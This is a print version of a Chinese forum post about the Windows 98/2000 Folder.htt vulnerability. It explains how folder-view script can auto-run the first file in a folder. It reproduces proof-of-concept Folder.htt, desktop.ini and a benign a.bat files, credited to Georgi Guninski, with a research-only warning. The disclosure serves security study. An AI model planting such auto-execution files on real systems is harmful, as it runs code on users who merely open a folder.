![]() |
微软Windows 98/2000的Folder.htt漏洞 - 打印版本 +- MyTFLS社区 (https://community.mytfls.com) +-- 论坛: 电脑区 (https://community.mytfls.com/forum-19.html) +--- 论坛: 系统+网络+硬件 (https://community.mytfls.com/forum-20.html) +--- 主题: 微软Windows 98/2000的Folder.htt漏洞 (/thread-253.html) |
微软Windows 98/2000的Folder.htt漏洞 - 比电子小 - 2004-2-1 在Windows 98/2000中,一个名为Folder.htt的文件决定了文件夹以何种方式显示为web页面。这个 文件包含活动的脚本解释执行。如果一个用户打开了一个文件夹,同时以web页面形式察看该文件夹 的选项为enable的话(这是该选项的默认值),则Folder.htt文件中的任何代码均会以该用户的特 权等级运行。通过本地文件夹和远程UNC共享都可以进行exploit。 问题在于ShellDefView ActiveX控件。这个控件用来决定对选中的文件执行什么操作。为了激活对 选中的文件的默认操作,它使用无任何参数的InvokeVerb( )方法。文件夹中的第一个文件可以通过 FileList.focus( )方法被自动选中。因此,如果创建一个文件,它默认的打开操作为“执行”,而 且处于文件列表的第一个位置(默认的文件排序方式是按字母顺序,例如11111111.bat会因此被排在 列表的第一个位置),则只要打开该文件所在的文件夹,就会选中并运行该文件。 <* 来源:Georgi Guninski (joro@nat.bg) *> 测试程序: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! Georgi Guninski 提供了几个测试程序。 将文件Folder.htt、desktop.ini和a.bat放在同一文件夹下即可。 文件Folder.htt的内容: <html> <body > <script> setTimeout("f()",2000); function f() { FileList.focus(); FileList.FocusedItem.InvokeVerb(); } </script> <H1>Hello World<BR>Written by Georgi Guninski</H1> <object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2"> </object> </body> </html> 文件desktop.ini的内容: [ExtShellFolderViews] Default={5984FFE0-28D4-11CF-AE66-08002B2E1262} {5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262} [{5984FFE0-28D4-11CF-AE66-08002B2E1262}] PersistMoniker=//Folder.htt [.ShellClassInfo] ConfirmFileOp=0 文件a.bat的内容: echo "Written by Georgi Guninski" Pause |